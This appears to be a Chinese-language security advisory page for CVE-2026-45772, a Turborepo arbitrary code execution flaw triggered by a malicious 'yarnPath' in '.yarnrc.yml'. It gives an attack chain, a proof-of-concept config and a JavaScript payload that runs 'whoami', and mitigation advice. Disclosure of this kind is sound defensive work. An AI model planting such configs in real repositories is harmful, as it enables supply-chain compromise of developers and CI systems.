IPBUF安全漏洞报告
English
CVE-2026-45772 CVSS 9.8 严重

CVE-2026-45772 Turborepo 任意代码执行漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45772
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Turborepo

相关标签

RCETurborepoYarnJavaScriptCI/CD供应链攻击

漏洞概述

Turborepo 是一个用于 JavaScript 和 TypeScript 代码库的高性能构建系统。在 1.1.0 至 2.9.14 之前的版本中,Turborepo 存在任意代码执行漏洞。当在不受信任的仓库中运行时,如果该仓库包含恶意的 Yarn 配置,攻击者可利用此漏洞。漏洞根源在于包管理器检测时会从项目目录执行 `yarn --version`,这会导致 Yarn 加载并执行由项目控制的 `yarnPath`(来自 `.yarnrc.yml`)。攻击者若能控制仓库内容,即可在用户或 CI 系统运行受影响的 turbo、@turbo/codemod 或 @turbo/workspace 转换命令时触发代码执行。

技术细节

该漏洞的核心原理在于 Turborepo 对包管理器检测过程中对 Yarn 配置文件的处理不当。具体来说,Turborepo 在构建流程中会自动检测当前项目使用的包管理器。当检测到可能使用 Yarn 时,它会调用 `yarn --version` 命令。关键问题在于,如果项目目录中存在 `.yarnrc.yml` 文件,并且其中定义了 `yarnPath` 字段,Yarn 会强制使用该路径指定的二进制文件来执行命令。攻击者可以构造一个恶意的 JavaScript 文件(例如包含反弹 Shell 或删除文件的代码),并将其路径写入 `.yarnrc.yml` 的 `yarnPath` 字段。一旦用户或 CI 系统在该目录下运行受影响版本的 Turborepo 命令,系统就会通过 Yarn 机制加载并解析这个恶意 JS 文件,进而执行其中的任意代码。由于 Turborepo 常用于自动化构建流程,该漏洞极易被用于供应链攻击,危害极大。

攻击链分析

STEP 1
步骤1
攻击者准备恶意环境,创建包含恶意 JavaScript 文件(如 exploit.js)的仓库。
STEP 2
步骤2
攻击者在仓库根目录创建或修改 .yarnrc.yml 文件,设置 yarnPath 指向该恶意 JS 文件。
STEP 3
步骤3
受害者(开发者或 CI 系统)克隆该恶意仓库并在本地运行 Turborepo 命令(如 turbo build)。
STEP 4
步骤4
Turborepo 执行包管理器检测逻辑,调用 `yarn --version`。
STEP 5
步骤5
Yarn 读取 .yarnrc.yml 配置,根据 yarnPath 加载并执行恶意 JavaScript 代码。
STEP 6
步骤6
达成任意代码执行,攻击者获得受害者主机权限或窃取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# .yarnrc.yml configuration file # This file tricks Yarn into loading a malicious binary yarnPath: ./malicious-payload.js // File: malicious-payload.js // This script is executed by Yarn when yarn --version is run const { exec } = require('child_process'); const fs = require('fs'); // Example: Creating a simple proof of concept file fs.writeFileSync('/tmp/poc.txt', 'CVE-2026-45772 Exploit Success!'); // Example: Executing a system command (e.g., calc.exe or whoami) exec('whoami', (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`Current User: ${stdout}`); }); console.log('Malicious code executed via yarnPath!');

影响范围

Turborepo >= 1.1.0, < 2.9.14

防御指南

临时缓解措施
在无法立即升级的情况下,应严格避免在不受信任或来源不明的代码库中运行 Turborepo 相关命令(如 turbo、@turbo/codemod)。对于 CI/CD 环境,建议在构建前检查 .yarnrc.yml 文件内容,确保 yarnPath 指向合法路径或不存在可疑指向。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表